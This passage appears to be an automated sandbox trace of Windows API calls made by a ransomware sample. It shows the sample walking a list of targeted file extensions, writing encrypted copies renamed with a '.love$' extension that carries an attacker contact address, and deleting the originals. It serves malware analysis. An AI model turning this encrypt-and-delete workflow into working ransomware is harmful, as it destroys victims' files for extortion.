dwMilliseconds=0x64) returned 0x102 [0108.112] GetTickCount () returned 0x115c1e5 [0108.112] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0108.486] GetTickCount () returned 0x115c35c [0108.486] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0109.332] GetTickCount () returned 0x115c698 [0109.332] GetTickCount () returned 0x115c698 [0109.332] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0109.845] GetTickCount () returned 0x115c89c [0109.845] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0110.385] GetTickCount () returned 0x115cabf [0110.385] GetTickCount () returned 0x115cabf [0110.385] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0111.085] GetTickCount () returned 0x115cd6e [0111.085] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0112.066] GetTickCount () returned 0x115d146 [0112.067] GetTickCount () returned 0x115d146 [0112.067] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0112.732] GetTickCount () returned 0x115d3e6 [0112.733] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0113.535] GetTickCount () returned 0x115d713 [0113.535] GetTickCount () returned 0x115d713 [0113.536] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0114.352] GetTickCount () returned 0x115da3f [0114.353] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0114.968] GetTickCount () returned 0x115dca1 [0114.968] GetTickCount () returned 0x115dca1 [0114.968] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0115.516] GetTickCount () returned 0x115ded3 [0115.516] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0116.686] GetTickCount () returned 0x115e357 [0116.686] GetTickCount () returned 0x115e357 [0116.686] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0117.271] GetTickCount () returned 0x115e59a [0117.271] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0117.779] GetTickCount () returned 0x115e79d [0117.779] GetTickCount () returned 0x115e79d [0117.779] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0118.091] GetTickCount () returned 0x115e8d6 [0118.091] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0119.577] GetTickCount () returned 0x115eea2 [0119.577] GetTickCount () returned 0x115eea2 [0119.577] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0120.217] GetTickCount () returned 0x115f123 [0120.217] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0120.896] GetTickCount () returned 0x115f3d2 [0120.896] GetTickCount () returned 0x115f3d2 [0120.896] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0121.364] GetTickCount () returned 0x115f5a7 [0121.364] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0121.985] GetTickCount () returned 0x115f808 [0121.985] GetTickCount () returned 0x115f808 [0121.985] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0122.267] GetTickCount () returned 0x115f922 [0122.267] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0122.869] GetTickCount () returned 0x115fb83 [0122.869] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0123.211] GetTickCount () returned 0x115fcdb [0123.211] GetTickCount () returned 0x115fcdb [0123.211] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0123.683] GetTickCount () returned 0x115feaf [0123.683] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) returned 0x102 [0123.859] GetTickCount () returned 0x115ff5b [0123.859] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0xd00 [0093.409] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x53dba0 [0093.410] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x54dba8 [0093.410] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ae20 [0093.410] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d380 [0093.410] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ae38 [0093.410] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x34c6020 [0093.416] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab50 [0093.416] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50ab50, Size=0x20) returned 0x4eeae8 [0093.416] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50ab50 [0093.416] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50ab50, Size=0x20) returned 0x4ee9d0 [0093.416] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.416] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.417] Wow64DisableWow64FsRedirection (in: OldValue=0x295ff50 | out: OldValue=0x295ff50*=0x0) returned 1 [0093.417] lstrlenW (lpString="kernel32.dll") returned 12 [0093.417] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.417] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.417] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ee9d0 | out: hHeap=0x4b0000) returned 1 [0093.418] Sleep (dwMilliseconds=0x64) [0093.988] Sleep (dwMilliseconds=0x64) [0094.386] lstrcmpiW (lpString1=".MARKER", lpString2=".love$") returned 1 [0094.387] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0094.387] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.482] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=0) returned 1 [0094.482] CloseHandle (hObject=0x2f4) returned 1 [0094.482] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.482] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.482] lstrlenW (lpString=".doc") returned 4 [0094.482] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0094.482] lstrlenW (lpString=".docx") returned 5 [0094.482] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0094.482] lstrlenW (lpString=".pdf") returned 4 [0094.482] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0094.482] lstrlenW (lpString=".xls") returned 4 [0094.482] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0094.482] lstrlenW (lpString=".xlsx") returned 5 [0094.482] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0094.482] lstrlenW (lpString=".ppt") returned 4 [0094.482] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0094.482] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.482] lstrlenW (lpString=".zip") returned 4 [0094.482] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0094.482] lstrlenW (lpString=".rar") returned 4 [0094.482] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0094.482] lstrlenW (lpString=".bz2") returned 4 [0094.482] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0094.482] lstrlenW (lpString=".7z") returned 3 [0094.483] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0094.483] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.483] lstrlenW (lpString=".dbf") returned 4 [0094.483] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0094.483] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.483] lstrlenW (lpString=".1cd") returned 4 [0094.483] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0094.483] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.483] lstrlenW (lpString=".jpg") returned 4 [0094.483] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0094.483] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.483] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.483] lstrlenW (lpString=".doc") returned 4 [0094.483] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0094.483] lstrlenW (lpString=".docx") returned 5 [0094.483] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0094.483] lstrlenW (lpString=".pdf") returned 4 [0094.483] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0094.483] lstrlenW (lpString=".xls") returned 4 [0094.483] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0094.483] lstrlenW (lpString=".xlsx") returned 5 [0094.483] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0094.483] lstrlenW (lpString=".ppt") returned 4 [0094.483] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0094.483] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.484] lstrlenW (lpString=".zip") returned 4 [0094.484] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0094.484] lstrlenW (lpString=".rar") returned 4 [0094.484] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0094.484] lstrlenW (lpString=".bz2") returned 4 [0094.484] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0094.484] lstrlenW (lpString=".7z") returned 3 [0094.484] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0094.484] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.484] lstrlenW (lpString=".dbf") returned 4 [0094.484] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0094.484] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.484] lstrlenW (lpString=".1cd") returned 4 [0094.484] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0094.484] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0094.484] lstrlenW (lpString=".jpg") returned 4 [0094.484] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0094.484] Sleep (dwMilliseconds=0x64) [0096.075] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0096.075] lstrlenW (lpString="SetupResources.dll") returned 18 [0096.075] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.076] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=18264) returned 1 [0096.076] CloseHandle (hObject=0x318) returned 1 [0096.076] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0096.098] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.108] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0096.108] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.108] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.108] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0096.110] GetLastError () returned 0x0 [0096.110] ReadFile (in: hFile=0x314, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x4758, lpOverlapped=0x0) returned 1 [0096.173] WriteFile (in: hFile=0x318, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x4760, lpOverlapped=0x0) returned 1 [0096.175] ReadFile (in: hFile=0x314, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.176] WriteFile (in: hFile=0x318, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0xf8, lpOverlapped=0x0) returned 1 [0096.176] SetEndOfFile (hFile=0x318) returned 1 [0096.176] CloseHandle (hObject=0x318) returned 1 [0096.178] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.178] SetEndOfFile (hFile=0x314) returned 1 [0096.179] CloseHandle (hObject=0x314) returned 1 [0096.179] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.179] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0096.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.180] lstrlenW (lpString=".doc") returned 4 [0096.180] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.180] lstrlenW (lpString=".docx") returned 5 [0096.180] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.180] lstrlenW (lpString=".pdf") returned 4 [0096.180] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.180] lstrlenW (lpString=".xls") returned 4 [0096.180] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.180] lstrlenW (lpString=".xlsx") returned 5 [0096.180] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.180] lstrlenW (lpString=".ppt") returned 4 [0096.180] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.180] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.180] lstrlenW (lpString=".zip") returned 4 [0096.180] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.180] lstrlenW (lpString=".rar") returned 4 [0096.180] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.180] lstrlenW (lpString=".bz2") returned 4 [0096.180] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.180] lstrlenW (lpString=".7z") returned 3 [0096.180] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.181] lstrlenW (lpString=".dbf") returned 4 [0096.181] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.181] lstrlenW (lpString=".1cd") returned 4 [0096.181] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.181] lstrlenW (lpString=".jpg") returned 4 [0096.181] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.181] lstrlenW (lpString=".doc") returned 4 [0096.181] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.181] lstrlenW (lpString=".docx") returned 5 [0096.181] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.181] lstrlenW (lpString=".pdf") returned 4 [0096.181] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.181] lstrlenW (lpString=".xls") returned 4 [0096.181] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.181] lstrlenW (lpString=".xlsx") returned 5 [0096.181] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.181] lstrlenW (lpString=".ppt") returned 4 [0096.181] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.181] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.181] lstrlenW (lpString=".zip") returned 4 [0096.181] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.182] lstrlenW (lpString=".rar") returned 4 [0096.182] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.182] lstrlenW (lpString=".bz2") returned 4 [0096.182] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.182] lstrlenW (lpString=".7z") returned 3 [0096.182] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.182] lstrlenW (lpString=".dbf") returned 4 [0096.182] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.182] lstrlenW (lpString=".1cd") returned 4 [0096.182] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0096.182] lstrlenW (lpString=".jpg") returned 4 [0096.182] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.183] Sleep (dwMilliseconds=0x64) [0096.705] Sleep (dwMilliseconds=0x64) [0097.227] Sleep (dwMilliseconds=0x64) [0098.968] Sleep (dwMilliseconds=0x64) [0099.644] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0099.645] lstrlenW (lpString="SetupResources.dll") returned 18 [0099.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0099.645] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=15192) returned 1 [0099.645] CloseHandle (hObject=0x338) returned 1 [0099.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0099.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0099.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0099.645] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.645] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0099.684] GetLastError () returned 0x0 [0099.684] ReadFile (in: hFile=0x338, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x3b58, lpOverlapped=0x0) returned 1 [0099.761] WriteFile (in: hFile=0x350, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0099.764] ReadFile (in: hFile=0x338, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.764] WriteFile (in: hFile=0x350, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0xf8, lpOverlapped=0x0) returned 1 [0099.764] SetEndOfFile (hFile=0x350) returned 1 [0099.765] CloseHandle (hObject=0x350) returned 1 [0099.766] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.766] SetEndOfFile (hFile=0x338) returned 1 [0099.767] CloseHandle (hObject=0x338) returned 1 [0099.767] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0099.768] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0099.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.768] lstrlenW (lpString=".doc") returned 4 [0099.768] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.768] lstrlenW (lpString=".docx") returned 5 [0099.768] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.768] lstrlenW (lpString=".pdf") returned 4 [0099.768] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.768] lstrlenW (lpString=".xls") returned 4 [0099.768] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.768] lstrlenW (lpString=".xlsx") returned 5 [0099.769] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.769] lstrlenW (lpString=".ppt") returned 4 [0099.769] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.769] lstrlenW (lpString=".zip") returned 4 [0099.769] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.769] lstrlenW (lpString=".rar") returned 4 [0099.769] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.769] lstrlenW (lpString=".bz2") returned 4 [0099.769] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.769] lstrlenW (lpString=".7z") returned 3 [0099.769] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.769] lstrlenW (lpString=".dbf") returned 4 [0099.769] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.769] lstrlenW (lpString=".1cd") returned 4 [0099.769] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.769] lstrlenW (lpString=".jpg") returned 4 [0099.769] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.769] lstrlenW (lpString=".doc") returned 4 [0099.769] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.769] lstrlenW (lpString=".docx") returned 5 [0099.769] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.769] lstrlenW (lpString=".pdf") returned 4 [0099.770] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.770] lstrlenW (lpString=".xls") returned 4 [0099.770] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.770] lstrlenW (lpString=".xlsx") returned 5 [0099.770] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.770] lstrlenW (lpString=".ppt") returned 4 [0099.770] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.770] lstrlenW (lpString=".zip") returned 4 [0099.770] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.770] lstrlenW (lpString=".rar") returned 4 [0099.770] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.770] lstrlenW (lpString=".bz2") returned 4 [0099.770] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.770] lstrlenW (lpString=".7z") returned 3 [0099.770] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.770] lstrlenW (lpString=".dbf") returned 4 [0099.770] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.770] lstrlenW (lpString=".1cd") returned 4 [0099.770] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.770] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0099.770] lstrlenW (lpString=".jpg") returned 4 [0099.770] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.770] Sleep (dwMilliseconds=0x64) [0100.148] Sleep (dwMilliseconds=0x64) [0100.596] Sleep (dwMilliseconds=0x64) [0100.972] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0100.972] lstrlenW (lpString="SetupResources.dll") returned 18 [0100.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 